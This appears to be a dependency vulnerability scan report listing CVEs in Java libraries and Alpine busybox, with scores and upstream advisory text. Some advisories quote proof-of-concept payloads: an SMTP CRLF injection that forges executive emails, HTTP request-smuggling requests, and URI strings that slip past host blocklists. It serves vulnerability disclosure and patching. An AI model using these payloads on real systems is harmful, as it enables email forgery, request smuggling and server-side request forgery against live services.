+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.030%
EPSS Percentile8th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score3.365%
EPSS Percentile87th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.021%
EPSS Percentile5th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.124.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.050%
EPSS Percentile16th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.52.v20230823
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
+ +## Summary + +Eclipse Jetty is a lightweight, highly scalable, Java-based web server and Servlet engine . It includes a utility class, `HttpURI`, for URI/URL parsing. + +The `HttpURI` class does insufficient validation on the authority segment of a URI. However the behaviour of `HttpURI` differs from the common browsers in how it handles a URI that would be considered invalid if fully validated against the RRC. Specifically `HttpURI` and the browser may differ on the value of the host extracted from an invalid URI and thus a combination of Jetty and a vulnerable browser may be vulnerable to a open redirect attack or to a SSRF attack if the URI is used after passing validation checks. + +## Details + +### Affected components + +The vulnerable component is the `HttpURI` class when used as a utility class in an application. The Jetty usage of the class is not vulnerable. + +### Attack overview + +The `HttpURI` class does not well validate the authority section of a URI. When presented with an illegal authority that may contain user info (eg username:password#@hostname:port), then the parsing of the URI is not failed. Moreover, the interpretation of what part of the authority is the host name differs from a common browser in that they also do not fail, but they select a different host name from the illegal URI. + +### Attack scenario + +A typical attack scenario is illustrated in the diagram below. The Validator checks whether the attacker-supplied URL is on the blocklist. If not, the URI is passed to the Requester for redirection. The Requester is responsible for sending requests to the hostname specified by the URI. + +This attack occurs when the Validator is the `org.eclipse.jetty.http.HttpURI` class and the Requester is the `Browser` (include chrome, firefox and Safari). An attacker can send a malformed URI to the Validator (e.g., `http://browser.check%23%40vulndetector.com/` ). After validation, the Validator finds that the hostname is not on the blocklist. However, the Requester can still send requests to the domain with the hostname `vulndetector.com`. + +## PoC + +payloads: + +``` +http://browser.check &@vulndetector.com/ +http://browser.check #@vulndetector.com/ +http://browser.check?@vulndetector.com/ +http://browser.check#@vulndetector.com/ +http://vulndetector.com\\/ +``` + +The problem of 302 redirect parsing in HTML tag scenarios. Below is a poc example. After clicking the button, the browser will open "browser.check", and jetty will parse this URL as "vulndetector.com". + +``` + +``` +A comparison of the parsing differences between Jetty and chrome is shown in the table below (note that neither should accept the URI as valid). + +| Invalid URI | Jetty | Chrome | +| ---------------------------------------------- | ---------------- | ------------- | +| http://browser.check &@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check #@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check?@vulndetector.com/ | vulndetector.com | browser.check | +| http://browser.check#@vulndetector.com/ | vulndetector.com | browser.check | + +The problem of 302 redirect parsing in HTTP 302 Location + +| Input | Jetty | Chrome | +| ------------------------ | -------------- | ------------- | +| http://browser.check%5c/ | browser.check\ | browser.check | + +It is noteworthy that Spring Web also faced similar security vulnerabilities, being affected by the aforementioned four types of payloads. These issues have since been resolved and have been assigned three CVE numbers [3-5]. + +## Impact + +The impact of this vulnerability is limited to developers that use the Jetty HttpURI directly. Example: your project implemented a blocklist to block on some hosts based on HttpURI's handling of authority section. The vulnerability will help attackers bypass the protections that developers have set up for hosts. The vulnerability will lead to **SSRF**[1] and **URL Redirection**[2] vulnerabilities in several cases. + +## Mitigation + +The attacks outlined above rely on decoded user data being passed to the `HttpURI` class. Application should not pass decoded user data as an encoded URI to any URI class/method, including `HttpURI`. Such applications are likely to be vulnerable in other ways. +The immediate solution is to upgrade to a version of the class that will fully validate the characters of the URI authority. Ultimately, Jetty will deprecate and remove support for user info in the authority per [RFC9110 Section 4.2.4](https://datatracker.ietf.org/doc/html/rfc9110#section-4.2.4). + +Note that the Chrome (and other browsers) parse the invalid user info section improperly as well (due to flawed WhatWG URL parsing rules that do not apply outside of a Web Browser). + +## Reference + +[1] https://cwe.mitre.org/data/definitions/918.html +[2] https://cwe.mitre.org/data/definitions/601.html + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.commons/commons-lang3 3.12.0 (maven) + +pkg:maven/org.apache.commons/commons-lang3@3.12.0
+medium 6.5: CVE--2025--48924 Uncontrolled Recursion + + + + + + + + +
Affected range>=3.0
<3.18.0
Fixed version3.18.0
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ +Uncontrolled Recursion vulnerability in Apache Commons Lang. + +This issue affects Apache Commons Lang: Starting with commons-lang:commons-lang 2.0 to 2.6, and, from org.apache.commons:commons-lang3 3.0 before 3.18.0. + +The methods ClassUtils.getClass(...) can throw StackOverflowError on very long inputs. Because an Error is usually not handled by applications and libraries, a StackOverflowError could cause an application to stop. + +Users are recommended to upgrade to version 3.18.0, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.112%
EPSS Percentile30th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 io.netty/netty-codec 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec@4.1.124.Final
+medium 6.9: CVE--2025--58057 Improper Handling of Highly Compressed Data (Data Amplification) + + + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
EPSS Score0.070%
EPSS Percentile22nd percentile
+ +
Description +
+ +### Summary + +With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. + +### Details + +`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb. + +Tested on 4.1.118, but there were no changes to the decoder since. + +### PoC + +Run this test case with `-Xmx1G`: + +```java +import io.netty.buffer.Unpooled; +import io.netty.channel.embedded.EmbeddedChannel; + +import java.util.Base64; + +public class T { + public static void main(String[] args) { + EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); + 